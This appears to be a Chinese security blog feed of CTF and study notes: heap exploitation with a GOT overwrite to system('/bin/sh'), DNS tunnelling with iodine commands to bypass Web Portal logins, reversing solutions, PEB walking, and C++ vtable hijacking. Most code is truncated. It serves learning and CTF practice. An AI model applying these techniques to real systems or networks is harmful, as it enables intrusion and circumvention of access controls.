今天去找了大佬讨论,发现套路真的多。这个ptr是我们用来存放malloc对象的指针,然后,上面这个info,是一个计数器。我本来是想不到info用来做什么的,因为其功能就是【每次进入主循环,就自然增加1】,今天突然发现,原来可以用来【伪造malloc size】!具体是个什么思路呢,大致如下:
1 | +----------------------+ <---fd |
如上,我们让free之后的堆块中的fd指向info的位置,然后我们malloc两次之后,就会将这个fd分配出来。如果我们在malloc之前,info已经达到了0x30次,那么当我们把fd分配出来的时候,正好会变成0x31,此时就能够绕过malloc的保护机制,并且将ptr的位置分配出来(为什么不是fd的位置?这个是malloc决定的,要跨国prev_size和size,把data部分交出来啦)
那么接下来,当我们在修改name的时候,【实际上就是在修改ptr指针】。此时如果我们让指针指向got表的开头,从0x602010开始的位置,那么就能够在输入comment和age之后,将这些地址泄露。其中,为了防止在输入comment的时候,发生【不小心将重要数据覆盖的事情】,我们这里对于整数,可以使用scanf的漏洞【输入’-'的时候,符号不会被考虑】,然后完成曾输入,经过调整之后,我么能够泄露地址:
1 | _dl_runtime_resolve_avx : 0x7fca53b567c0 |
通过拿到了这个地址之后,我们就能够上网去查询当前我们使用的libc.so.6的版本号了
然而,今天试了很多次,发现其实libc-database好像没有那么好用啊。。。找不到指定的libc。。纠结了一会儿觉得就先这样吧。
之后的思路很简单,拿到libc之后,算出system的地址,然后修改got表,把free的地址改成system,然后重新create一个chunk,并且name里面的内容改成/bin/sh
,然后free掉这个内容即可。
说到DNS Tunnel,我之前有一篇文章介绍过:
tecent安全工程师测试
当时是粗略的看了一下,这里重新复习一次DNS Tunnel的原理先。
DNS(Domain Name System),也就是域名解析系统,是一种能够将数字ip与域名形成映射的协议。就好像ip180.97.33.107这个我们很难记忆这4个数字,但是[www.baidu.com]本身我们很容易去记忆,将这两者联系起来的就是DNS协议。
当我们尝试去访问一个域名,比如说test.com的时候,此时电脑会发起一个请求去访问这个域名,此时会有一个请求去寻找域名所绑定的ip是什么。
我们访问的第一个服务器就是递归解析器(recusive resolver),也就是你的ISP(Internet Server Provider),互联网服务提供商,或者Wireless carriers(也就是手机平板之类使用的服务提供)或者其他第三方提供。递归解析器知道要访问哪些其他的DNS 服务器来获得你所访问的域名的解析
有时候递归服务器本身就会存储有ip和域名之间的映射关系,此时它就会直接返回ip地址,结束访问。
如果没有缓存这个映射关系的话,递归解析器就回去访问13个服务器,叫做根服务器(Root Server),根服务器能解析顶级域名所在的ip 地址,比如说.com等等。由于根服务器其实在世界上很多地区都有,所以域名解析的时候,DNS 能够确保递归解析器会去寻找离它最近的服务器进行询问。
接下来,递归解析器会去查询当前顶级域名(Top Level Domain)解析服务器,顶级域名解析服务器会返回当前域名服务器(权威服务器, Authorization Server)所在的地址,从而进一步访问:
最后就相当于是从域名服务器中取得了当前test.com的ip,访问指定ip就相当于是进行了访问
我们可以尝试使用linux下的dig指令来查看:
第一段相当于是介绍一些简单的查询参数。
1 | ; <<>> DiG 9.9.5-3ubuntu0.10-Ubuntu <<>> www.baidu.com |
第二段是显示我们此时请求的域名是啥
1 | ;; QUESTION SECTION: |
此时的A表示的是Address,也就是地址,说明我们此时查询的是www.baidu.com的地址。注意到这里的域名最后有一个**.**,这里是有原因的:
**.**其实是因为,所有的域名结尾都是.root,比如说www.google.com的真正域名是www.google.com.root。这里使用.省略这个写法。
第三段显示了当前DNS服务器给出的答复:
1 | ;; ANSWER SECTION: |
这里的CName(Canonical Name)表示的是当前域名的规范域名,相当于说这个域名和www.baidu.com是等效的。
第四段则是显示了此时的查询究竟查询了哪些服务器:
1 | ;; AUTHORITY SECTION: |
这里能看到,这个a.shifen.com总共查询了五个DNS服务器,NS表示的就是Name Server,就是说这五个服务器在管理这个域名。
1 | ns1.a.shifen.com. 442 IN A 61.135.165.224 |
这一段显示的是上一段查询的服务器的ip为多少。
1 | ;; Query time: 64 msec |
最后一段表示的是一些查询结果,查询总共花了64秒。并且本机的DNS服务器地址为218.2.2.2,端口为53(默认的查询端口)
这里介绍一下DNS记录有哪些类型:
dig -x
)最近做了一个作业,发现还是存在一些不熟悉的地方,这里记录一下:
存在cdn的网站,最后cdn的ip解析会解析到cdn所在的服务器上
我这里以为这个说法是不正确的,因为我一开始没想过cdn和dns能有啥关联的,所以想到说url的 CNAME 解析成cdn的url也没什么关系。后来才想到,如果cdn存在的话,那么对于CNAME解析,这个就不是一个别名那么简单,而是利用别名让url解析的ip对应到对应的cdn服务器上,从而实现cdn的加速(感觉一个很简单的道理一下子没想清楚)
介绍了DNS的工作原理之后,我们做出如下的假设:
如果我们此时在一个受限制的网络中,不能主动访问外网,但是此时DNS请求却没有被禁止。那么我们如果利用DNS协议的话,是不是就能够伪装成进行DNS交换,但是实际上是和对应的服务器进行了交互,让DNS服务器帮忙转发我们的数据包呢?
假如说,此时我们已经能够控制一台域名服务器(Authorization Server),那么当我们尝试访问一个域名,并且在本地的递归解析器中并没有留下缓存的话,那么其就会向我们之前所说的进行迭代查找。如果我们能够控制一个域名服务器的话,那么这个查找最终就会查找到对应的服务器上,然后服务器会对我们的请求进行回复,从而构建成一个逻辑上的通路。
比如说,这次我们要发送的数据为
1 | c2VjcmV0 |
那么此时我们应该尝试访问的网站叫做:
1 | c2VjcmV0.domain.com |
那么接下来的操作就会如下图一样,完成一次通信:
最后就相当于在局域网中的电脑和外部的服务器形成了链接。
光知道DNS Tunnel 是啥还不够,我们还得知道这个Web Portal认证是啥,才能尝试去绕过。
Web portal,其实就是我们很多时候在商场或者学校链接WiFi的时候,有时候会插入一个页面,要求我们输入用户名密码,或者手机号之类的东西。这个时候进行认真的方式就叫做Web Portal。Web Portal本身的网络拓扑图大致如下:
然后用户在发起HTTP/HTTPS请求的时候,如果接入设备发现用户并没有进行身份认证的话,就会强制将用户重定向至于Portal服务器上。用户利用portal服务器上的信息进行基本的身份确认,然后将确认后的信息发送给接入设备。然后通过接入设备和认证服务器认证之后,计费服务器便开始进行数据请求并且进行流量计费。
我们可以看到,当前的Web Portal认证的方法有些【并没有阻止接入设备向外进行其他协议请求】。也就是说,其并没有限制DNS请求(当然也是看处理方式)。如果我们使用DNS隧道的方式,就能够绕过Web Portal中对于HTTP/HTTPS请求的拦截,完成通信。
这里使用工具Iodine进行DNS隧道搭建。为了能够实现DNS隧道搭建,那么最为关键的是要实现【查询域名的DNS请求能够来到我们指定的服务器上】。为了实现这一点,我们可以给DNS服务器上增加两条内容:
1 | t1 IN NS t1ns.mydomain.com. |
然后在服务器上使用iodined
监听对于t1.mydomain.com的请求,
1 | ./iodined -f -c -P secretpassword 192.168.99.1 t1.mydomain.com |
其中 -P 后面可以填入我们此时隧道加密的密码,然后在客户端这边,使用iodine
发起DNS请求
1 | ./iodine -f -P secretpassword t1.mydomain.com |
如果设置没有问题的话,就能够建立DNS隧道了!
参考网站:
http://www.ruanyifeng.com/blog/2016/06/dns.html
http://blog.csdn.net/xianweijian/article/details/49450703
此题下载下来会发现一个叫做Vige.exe的文件并且还有要给readme.txt,里面内容为:
1 | find the flag when |
感觉似乎是一个改编的题目啥的?
查看程序,发现有点奇怪:
居然有两次输入的过程,我们用IDA大致看一下逻辑先;
跟踪到输入处理函数中,可以看到函数首先会把我们输入的字符进行&0x80000001,然后将当前字符串对应的字符取出来,并且从002B6438的位置开始,检测当前输入字符串的第i位是否为1:
在这个逻辑里面,我们可以确认几个事情:
当前的函数中存在一个全局数组,存放了当前处理的字符中第i位是否为0的函数。
可以看出来,此时函数将从计算得到的字符串从下列字符串表格中取出对应下标的字符
ZYXWVUTSRQPONMLKJIHGFEDCBA123456
其中计算的算法如下:
1 | global_index = index % 5; |
逻辑为:把我们 输入的字符串转化为bit流,然后将输入的字符串本身按照5bit分组,每组在指定的alphaabet里面取出指定下标的字符串。
首先我们确认num是从打最后往最前放的,但是它处理的时候是从后开始处理
然后我们可以知道,如果要生成指定的false key,我们此时的key长度应该只有6个字符。
然后我们使用一个简单的程序来跑一下:
1 | ans = [] |
但是由于最后一位的处理方法不太一样,是直接选取的字符串剩下三bit,我们知道选取的是"T",也就是6,此时我们得到的对应字符串为"N",因此答案调整为:
LNCKEN
这里记录重要地址:
±-------±-----------------+
| 2B6770 | 处理后的key |
±-------±-----------------+
| 2B6758 | 处理前的key |
±-------±-----------------+
第一部分完成了,然后看第二部分:
第二部分有点长,但是大致也可以分析一下;
首先的逻辑为:
1 | do |
大致看下来,就是说将【字符串中的{}和_进行替换,换成JKL,否则的话我们呢对字符串函数进行赋值】
然后就有一个骚操作:
1 | len = i + 1; |
这一段将会计算当前的下标,然后计算当前字符串所属于的位置,然后【在当前第一个字符串之后复制1个Z,第二个字符串之后复制两个Y这样】,然后我们看到明文为230个字符这么长,那么我们大概可以猜到,我们输入的字符串的长度也要为这么长,通过计算可以得知此事的flag长度为20(在程序逻辑中也有体现)
HEFDSPADVDAGHRHFSSTHLEAFFEWOXGWAFDXNDFUWAERFUBVECADAFHJDSSDAWWFVAXACRZTADAWQTIZADAWBZQQYSBTAPXRAQWDQRAYAIQDWQFFSBTQSFWQRWYNVPADWWDQAWYNXOXVXMUOXCADWQQVXGTNWWQDQVAAQLTNWUWTSMVQDQFVNUUYTVKSJKOLUSUJRLUSFESWSSUJRLYRTIQKTRTIQGJYTYTUSRT
±---------±--------------+
| 002B67B8 | our_input |
±---------±--------------+
| 002B67D0 | dst_input |
±---------±--------------+
| 0146a2b8 | new_dst_input |
±---------±--------------+
然后我们可以得知当前最关键的替换内容为:
1 | while ( len < 20 ); |
也就是说,最关键的比较逻辑为【将当前的字符串和我们原先得到的字符串中的明文对应字符串进行轮转相加,并且将得到的大写字母换成小写】
最后的比较函数的内容为:
1 | signed int sub_2B15A0() |
可以看出,比较的过程中只会比较我们输入的字符串是否为正确的答案。因此我们直接拿到text的明文进行反向解密即可。这里我们给出解题脚本:
1 | key = "LNCKEN" |
这个题目其实感觉是能够做出来的。。比赛到了后期没睡午觉实在是困的不行,根本没办法集中集成看程序啊。。就没能做出来。
这一题下了反调试。。。我们先好好理清楚一下思路好了
一开始有一个调用反调试的函数,看了一下对函数本身逻辑没有什么影响,直接patch了。
然后的逻辑里面会有一个检查输入的位置,其中可以知道我们的输入格式为WDFLAG{58个字符}
然后往后看,看到在后面的内容中有一个函数中有关键字maze,猜测是一个根据输入的字符串会走迷宫的一个程序。
顺着逻辑看下去,能够看到当前函数:
从当前逻辑中,我们能够推断出当前maze的大小为21*21,总共大小为441
1 | +-----------+---------------+ |
然后我们找到了迷宫的核心逻辑:
1 | row = 1; |
从核心逻辑中可以看出,我们的起始地址为(1,0),然后我们通过输入字符串,根据要求形成特定的step,然后在step内行走,在行走的过程中将会根据我们步行到达的位置,决定此时我们的行走路线。然后我们可以看一下此时的迷宫:
1 | D6 29 EF 19 58 BF 10 41 73 C4 68 96 3A 06 DE A6 84 AD 91 2D 46 00 |
可以看到,函数在最后有一个记录当前节点的过程,可以看出,此时答案的结果就是一个指定的值。
于是直接上动态调试:
1 | +-----------+---------------+ |
然后在
009E9000
处会存放当前的地址
在程序的开始有一个字符串的处理函数:
1 | v8 = dst; |
换句话说,这里的功能是说【单数位置上的字符在符号表中的下标作为高四位,双数位置上的字符 23 - 在符号表中的下标 为低四位组成新的字符】
然后我们跟踪一下看一看我们的字符串将要如何被使用:
1 | if ( (unsigned __int8)(chr - '0') > 9u ) // 如果比0大,就视为是使用字符行走,否则视为使用数字行走 |
这一段之前提到过,是迷宫的移动过程。不过这里我们要提一下,由于我们知道我们的字符串并不是由一开始确定的,而是要取出字符串的高4bit和低4bit进行或处理,此时得到的值要满足其大小在[‘0’ - ‘h’]之间,不然的话此时的得到的数字将很难达到这个大小。然后我们可以知道,由于这个字符串表的长度为17,也就是说【第一位字符至少也要是从第3个开始才行】,不然的话连0都不会大于。。。
然后目前我们需要知道以下数据:
首先我们找到加密后的迷宫变成了什么样子
1 | 19 FB CB 7D 75 45 39 B1 27 9B 85 73 19 F9 3D F9 E9 CB 2B C1 9B 00 |
然后我们确认需要前进:
最后我们确认一下最后的迷宫,发现在复杂的变化之后会变回原来的样子。此时取出来的值为0x40,也就是说,我们的目的地是0x40^100 = 0x24,这个位置的坐标即为(3, 20)。然后我们发现,我们走迷宫的时候,只能够走【偶数】,那么我们可以走的路线规划一下就是:
大概是60步就能够走过去(不过注意到起点在(1,0))。。此时计算一下01串就能够得到:
1 | 01010110101010101001011010111110101010101010100101000001010000000001010101010101010000010100000000000000000101101001 |
这个就是到达目的地的前进路线。
回溯算法,我们得知数字的来历为
"BCDFGHJKMPQRTVWXY2346789"
这个字母表中下标为2n的再字母表中出现第i个字符的下标作为高四位,和2n+1出现在第17-i个的顺序组成的数字作为低四位即为我们目标数字。后来发现有一个陷阱:
1 | // v6为我们转换过的数字 |
这里可以看到,我们输入的字符串处理之后得到的数字范围其实是有限的:
如果要符合v6 - 0x30 > 9
的话,我们能够使用的数字只有
1 | [0x30 - 0x39] // 因为有符号,所以只有这部分不会发生反转 |
否则的话,就会进入到下一个判断v6 - 0x61 > 5
,其中有效范围内的数值为;
1 | [0x61 - 0x66] |
然后发现这个地方会把高位的bit去掉:
1 | v13 = v7 & 3;// 低2bit |
换句话说,此时【只有低位的4bit可以参与到走迷宫中来】。比如说,我们的第一部分的内容是【两次向右行走】,那么这里我们可以考虑让答案为0x35,那么此时使用字符F3应该可以打到目的,测试一下发现的确可以,相当于是说利用F来保证高位为0011,然后低位的话就是我们此时需要的内容。
以下为解题脚本:
1 | #-*- coding:utf-8 -*- |
得到flag为:
WDFLAG{F3F2J8J8FWF2J7J3J8J8J8FWF4F8F4F9F8F3F3F3F4F8F4F9F9F9F8F2FW}
]]>这里windbg中查询到的结构体本身不知为何,显示的是32bit的结构体的大小,所以这里我们需要将所有的偏移量*2。
TEB(thread environment block),也就是线程环境变量块,是在用户态下对线程的一种表示。在操作系统的分级下,其对于运行在最外层的用户态下的线程拥有最少的信息,对于运行在在最高级的内核态中的线程拥有最高级的信息。如果当前线程没有任何用户态的对象使用的话,那么就不会有TEB。原则上,如果一个线程在用户态下就能够完成处理,并且暂时不需要和内核态交互的话,那么这个信息就会放在TEB中。说白了,TEB是一个存储了线程基本属性的结构体。并且可以通过API来获得。
TEB存放的位置在执行中使能够找到对的。但是在32bit和64bit下存在差异:
1 | +-------------+--------------+ |
如上,32bit下是通过fs段寄存器来定位的,而64bit下则是通过gs段寄存器进行定位的。
利用windbg指令:
dt _teb
我们能够查看此时的TEB的结构:
关注红色的框框处(+0x030),这个位置存放的是指向当前PEB指针的。
PEB(Process environment blocck),也就是进程环境变量块。这个块运行用户在用户态下获得很多当前进程的基本信息,比如说读入了的dll的名字,进程开始处的参数,堆地址,检查当前进程是否在调试状态下以及dll的镜像基地址等等。
当前的内容我们可以看到如下
红框处圈出来的(+0xc0)就是指向一个叫做PEB_LDR_DATA的结构体。大部分的内容并没有公开,但是这个模块已经被公开了。我们接下来研究一下这个结构体
PRE_LDR_DATA结构体记录了当前进程中所有载入了的模块。本质上是LDR_DATA_TABLE_ENTRY结构的三个双链表的头,每个表示一个加载的模块。
然后直接查看内部的结构,如下:
能够看出,这个结构体就是一个链表,链接的对象就是结构体LDR_DATA_TABLE_ENTRY
。这个对象中存放了一些和模块加载相关的内容。我们这里首先查看一下:
1 | +0x000 InLoadOrderLinks : _LIST_ENTRY |
这个对象中前三个属性也是存放了当前所有模块中链表的基本信息的值。然后在偏移量为0x18的地方存放了当前DllBase。
接下来我们尝试去寻找当前的kernel32.dll所存放的位置。
首先假设我们能够获取到gs寄存器中的内容,然后我们此时找到了teb的位置,此处定义为teb_address:
也就是
1 | peb_address = [teb_address + 0x60] |
然后我们查看peb中的ldr的位置:
此时得到的Ldr的所在的位置就是
1 | Ldr = [peb_address + 0x18] |
然后此时我们选取指定的链表InLoadOrderLinks,此时指向的地址就是LDR_DATA_TABLE_ENTRY:
1 | ldr_data_table = [Ldr + 0x20] |
最后我们从这个ld_data_table中能够找到当前所查找的目标内容:
1 | dllbase = [ldr_data_table + 0x20] |
然后我们可以知道,载入dll的顺序为
1 | +-----------+ +-----------+ +-----------+ +--------------+ |
那么我们想要知道dll载入地址的话,就能够按照顺序来访问next,从而拿到指定的dll起始地址。
]]>C++与C最大的区别就是【面向对象】这个概念。我们知道在C++中,class是一个常用的概念。那么在二进制程序中,class呈现的是什么样子的呢,我们这里用一个程序进行分析说明。
1 |
|
首先我们可以看到,类Person为虚类,因为其没有实现任何一个函数,而是通过其子类Student实现的。
其实class本身只是struct的一种衍生方式,所以使用了虚拟函数的class本身的结构是这样的:
1 | strcut class{ |
而当我们使用new函数进行申请对象的时候,比如如下
1 | Person *p = new Person(); |
实际上是发生了这样的事情:
1 | Person *p = (Person*)malloc(sizeof(Person)); |
而在Person里面,会发生如下的操作:
1 | *p = func_ptr |
首先复习一下什么叫做虚函数:
虚函数出现的目的是为了实现【多态】,也就是所谓的【父类指针指向子类函数】的功能,例如如下的函数
1 | void GiveFood(Animal animal, Food food){ |
这个eat函数,不同的动物表现的不一样:
但是如果每个动物我们都用不同的函数去判断的话,那么整个过程就太冗长了。为了支持这个功能,C++提供了多态。也就是说对于所有的动物,他们共有的能力就是【吃饭】,那么为了能够调用这个【吃饭】的过程,我们可以不去考虑功能的细节,直接使用这个函数:
1 |
|
运行结果为:
1 | learnC++$ ./learnCpp_Poly.bin |
但是,如果我们不使用virtual关键字说明的话,此时得到的结果就是完全不一样的内容:
1 | learnC++$ ./learnCpp_Poly.bin |
可以看到,这个时候调用的是Anima本身的eating函数,而不是相应的子类函数。
我们这次用一个比较段的程序来说明这个事情
1 | class Person |
这个程序和我们最初的内容很像,但是区别在于,其中的setAge为虚函数,而setName不为虚函数。然后我们观察其二进制,可以发现一些有趣的现象:
C++为了能够支持重载,会将函数名字本身进行破坏后重组,所以这里函数的名字看起来怪怪的。这个数据段中放了在运行中的一些重要信息:
1 | .rodata:0000000000401220 public _ZTV7Student ; weak |
这段内容其实放的是Student类本身的【虚表】,也就是这个类中的虚类的基本信息
1 | +---------------------------------+ |
1 | .rodata:0000000000401270 public _ZTI7Student ; weak |
这一段则是介绍了Student这个类的基本属性。上面的typeinfo for Student所指向的地址就是这个里。这里记录了Student这个类的名字(_ZTS开头的表示的是字符串)以及其父类内容(ZTI表示的是对应的info)
观察了这么多,我们能够发现两个事情:
这个现象蛮有趣的,我们观察一下main函数的基本内容:
1 | Student::setName(v10, &v9); |
对比源码后不难发现,最后的这个函数指针就是函数setAge。也就是说,当调用setAge的时候,程序的逻辑其实上是:
1 | Stu对象调用setAge --> 找到其虚函数表 --> 第一个内容为setAge --> 调用对象的第一个函数表中内容。 |
而在调用setName的时候,由于此时没有使用virtual关键字,导致此时setName被认为是父类和子类两个完全不同的函数,因此直接采用与普通的函数相同的处理方法,直接在.text中查找对应的函数。
为了实现【多态】,那么势必是要在【运行中才能确定对应调用的函数】。比如我们之前喂动物的例子,不运行起来,GiveFood永远不知道此时的Animal本身对应的对象是哪一个对象,因此就需要再运行的时候再对其进行绑定,为了实现这个运行时绑定的效果,使用虚表就变得方便了很多。
之前我们虽然提到过虚类,但是没有给出过虚类对象在内存中存在的某个特征。在虚类中,本来要实现的函数的位置上会有一个叫做purecall的函数进行填充,结构如下:
1 | .rdata:00007FF6F848A500 ??_7Character@@6B@ dq offset _purecall ; DATA XREF: sub_7FF6F8482A50:loc_7FF6F8482A91↑o |
这里就相当于说,Character对象有三个要实现的虚函数,这里先用purecall进行提前的填充。
知道了上述的说法,我们就有了第一种在C++下可以进行pwn的手段。
首先,我们知道,用new申请的对象,首先要进行【获得当前vptr的过程】
1 | +------------+ |
也就是说,如果我们此时调用func1的时候,实际的调用过程是:
mov rax, QWORD PTR [rbp-0x18] ; 取出obj_ptrmov rax, QWORD PTR [rax] ; 取出vptr的地址mov rax, QWORD PTR [rax] ; 取出vptr中第一项,也就是func1的地址call rax ; 跳转到func1上
此时obj_ptr指向的堆是这样的
1 | +---------------+ |
那么,如果我们能够伪造一个vptr,然后将堆上的vptr addr改成我们指定的一个伪造的vptr,那么会变成:
1 | +---------------+ |
这样我们就能够实现pwn了!
由于一般的堆都是在读入数据的时候申请的,因此此时我们直接将fake address填入堆地址,堆的地址可以通过各种方法泄露出来。这样的话我们同时能够得到多个可以利用的堆
这种时候就只能考虑到使用一般的堆溢出攻击了。。。。
在windows系统下,使用vs进行代码编译之后,发现了一个特征:
在x86环境下,传参使用压栈的方式,越往右的参数越先压栈
1 | func(pn....p3,p2,p1) |
在x64环境下,传参的一部分在寄存器中进行传递,网上大部分查到的顺序是rdi,rsi,rcx,rdx,r8,r9
,但是实际上,发现在windows下,使用vs编译后,传参的顺序变成了rcx,rdx,r8,r9
:
1 | func(rcx,rdx,r8,r9,...) |
C++中的string类型使用的倒是很平常,但是其反汇编一般不好认。。。这里记录一下对string的第一感觉:
string类型再执行的时候,结构体本身如下:
1 | 00000000 String struc ; (sizeof=0x10, mappedto_54) |
简单介绍一下:
ptr指向字符串的指针,然后这个指向的位置为一开始申请的大小,如果我们不断的insert新的数据的时候,系统会将当前ptr指向的堆块的前四个字节变成指针,然后这四个指针指向的位置为新申请的空间。如:
1 | string a = "123"; |
此时空间结构如下:
1 | ptr ------> +------------+ |
如果此时我们插入了过多的字符串的话,其中的is_large参数就会被修改为1,此时如果还要发生insert等过程的话,ptr所指向的位置的前4个字节就会被置为下一处分配的地址,并且原先的数据也会移动过去
1 | ptr -------> +----------------+ +------------------+ |
总觉得这里有可以发生pwn的位置。。下次试试把
]]>obfuscation,也就是混淆,其意义就在于将代码段的逻辑变得晦涩难懂,使人再静态甚至动态调试的时候无法了解程序本身的意图,从而增加逆向分析的难度。
ollvm 是一个基于llvm的项目。llvm是一个非常有趣的编译器,人们可以通过研究其,对代码的编译本身以及其发展应用产生巨大的帮助。这个ollvm也是利用这个编译器产生的对代码混淆的项目。ollvm会在编译期间,将代码翻译成复杂(而不是想正常的编译器对其进行优化)的汇编,从而让程序流变得异常复杂,以至于不能分析。
ollvm提供了多种混淆方式。这里我们介绍三种常见的混淆方法
这种方式即使将我们普通运算中的运算替换成复杂的运算符。这种处理方法其实很容易被破解,但是由于有些运算会引入随机数,让取出这个混淆代码变得也不是那么容易。
比如说,a - b ==> r = rand (); a = b + r; a = a - c; a = a - r
使用方法:
-mllvm -sub
: 使用替代的混淆方法-mllvm -sub_loop=3
: 反复使用替代的方法3次什么叫做程序流扁平化?就是说,一般的程序中会有很多的条件判断(if,for,while等)。这些逻辑的出现,让整个程序可读性上升了很多。而扁平化处理后的程序,将这些条件判断去掉,每一个分支条件块放入一个等价的块中,比如说C语言的switch,并且整个流程放入一整个循环中。此时就会变得难以查看这个程序的逻辑。这个将整个由上至下的程序放在同一个平面上的处理就叫做扁平化
如上就是一个经典的扁平化处理
使用方法:
-mllvm -fla
: 开启程序流扁平化处理-mllvm -split
: 开启程序基本块切割. 如果在使用扁平化的同时使用这个声明,那么扁平化的效果就会更好-mllvm -split_num=3
: 这个会将程序基本块进行三次切割。这个伪造控制流的方式,是通过在正确的程序块前加入一些虚假的程序块(opaque predicate),但是其并不影响程序整个的进程。就好像之前出题的时候使用过的花指令一样。虽然我们有jz和jnz两个跳转方式,但是实际上到达这个位置的时候,只会触发jz的内容,从而增加逆向的难度。
使用方法:
对于任意的一种混淆的方法,必定是有几个共同的内容
如果使用的是替代的方法,那么我们初始化的内容中初始化混淆过的内容在虚假的程序流程中往往是不参与关键数据的赋值,又或者是先+后-这样进行的处理。
而如果使用的是扁平化呢,则可能会出现一个循环里面包括着switch,然后利用一个数组对其进行程序块选择。
Miasm2是目前正在学习的一种逆向框架。这个框架能够将程序段以类似IDA的程序块的形式显示出来,并且在分析被混淆的代码段的时候,我们可以利用这个框架将混淆后的代码去除,从而理顺程序整体逻辑。
(目前正在瞎研究。。。所以只知道了部分功能)
Miasm2 支持使用一个沙盒环境进行程序模拟运行。支持pe和elf,以及arm,mips指令集下的文件执行
一个简单的模拟运行的例子
1 | import os |
上述为64bit linux环境下进行的环境模拟。使用对应环境下的parser对象处理当前的参数,然后在创建沙盒的时候,将当前的参数以及环境变量传入,从而创建一个完整的沙盒换进。
这个模块的功能为将【当前的程序进行静态反编译,然后以图画或者别的形式暂时出来以方便更好的分析】。这个功能的例子如下:
1 | # Container is the wrapper for ELF, PE..... |
Container:
用来存放可执行文件,里面能够将可执行文件转换成bin_stream等形式,并且存放了当前文件的种类
Machine:
用来模拟各类运行平台,利用machine可以指定我们的运行文件所处在的机器平台。当前的
method:
|— dis_engine(bin_stream): 将指定的文件流反编译成block(miasm里面的一种存放反编译文件的格式),得到的返回值是AsmCFG
AsmCFG:
存放了反编译的内容,以及程序流的整体关系。
method:
|— dis_multiblock(address):从address开始的反汇编内容所形成的blocks的状态(调用这个函数的时候才会进行反汇编)
由于加入blocks的处理有很多额外操作,这里有时会再处理的过程中使流程变慢,于是我直接去翻找了源代码,然后找到了这个:
1 | from miasm2.arch.x86.arch import mn_x86 |
这个mn_x86就是相当于是一个loader和指令执行器,其中实现了x86的指令以及其解读方式。所以我们这里直接使用这个mn_x86进行内容的解读,dis函数的参数为:
如果当前偏移量上没有可以进行计算的反汇编的话,那么此时会往之前寻找,直到找到合适的指令并且将其反汇编。
返回值instr为一个代表了当前指令的类,里面常用属性有;
直接使用mn_x86这个模拟机而不是封装后的Machine在处理ollvm中的多次替换处理程序有奇效。
]]>这个是当时配环境的时候遇到的问题。我们当时的网络拓扑图大概如下:
具体子网ip不太记得,但是关键是此时路由器的对外ip(?应该说是在总虚拟网络中的ip)是172.17.0.1,然后我们当时配置docker之后发生了奇怪的事情,每次启动docker之后,都没有办法使用ssh连上去,后来发现,docker在安装完成后,会自己生成一个网络适配器:
这个网络适配器导致我们每次往这个服务器上发送数据包的时候,都会走docker的路由从而导致丢包。。。因此我们组当时想到的解决办法就是修改掉docker0的ip,查找资:You can configure the default bridge network’s settings using flags to the dockerd command. However, the recommended way to configure the Docker daemon is to use the daemon.json file, which is located in /etc/docker/ on Linux. If the file does not exist, create it. You can specify one or more of the following settings to configure the default bridge network:
{ "bip": "192.168.1.5/24", "fixed-cidr": "10.20.0.0/16", "fixed-cidr-v6": "2001:db8::/64", "mtu": 1500, "default-gateway": "10.20.1.1", "default-gateway-v6": "2001:db8:abcd::89", "dns": ["10.20.1.2","10.20.1.3"]}
Restart Docker after making changes to the daemon.json file.
然后我们根据上述的说法,通过在/etc/docker下创建daemon.json文件,就可以修改docker的基本配置了。
这里学了一下南邮师傅的高超操作技巧
]]>这个题目本身挺简单的,就是让argv[1] == 0x1234即可。但是有个神奇的现象,不知道它是怎么编译的,居然再fd = 1和fd = 2的时候都可以读取数据到buf中。。求解释。
逻辑就是将一个输入的字符串转换成整形数组(长度为5),然后将其相加后得到的答案要等于 0x21DD09E。然后考虑到,这个内容如果直接做,不能出现\x00,不然strlen会发生字符串长度截断。所以要保证不能有\x00,于是改一下,变成:
`python -c "print '\xc8\xce\xc5\x06'*4 + '\xcc\xce\xc5\x06'"`
这个用到一个linux 操作 –command
倒引号 (backticks)
倒单引号能够将cmd包括,然后能够执行。
简单的栈溢出。直接上脚本:
这个有点难,我们要记录一下代码
1 |
|
提示说是passcode,程序带有warning,发现是一个很搞怪的模式:
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); }
}
gdb查看汇编如下:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
=> 0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 printf@plt
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 __isoc99_scanf@plt
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 fflush@plt
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 printf@plt
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 __isoc99_scanf@plt
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 puts@plt
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 puts@plt
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 system@plt
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 puts@plt
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt
由于想不到正确的做法发,那么只能强行绕过,执行我们需要的结果了:使用gdb修改eip使其指向0x080485e3
/bin/cat: flag: Permission denied
Now I can safely trust you that you have credential :)
然而提交答案后发现不对,只能猜测必须构造正确的字符串才能够执行。。。。
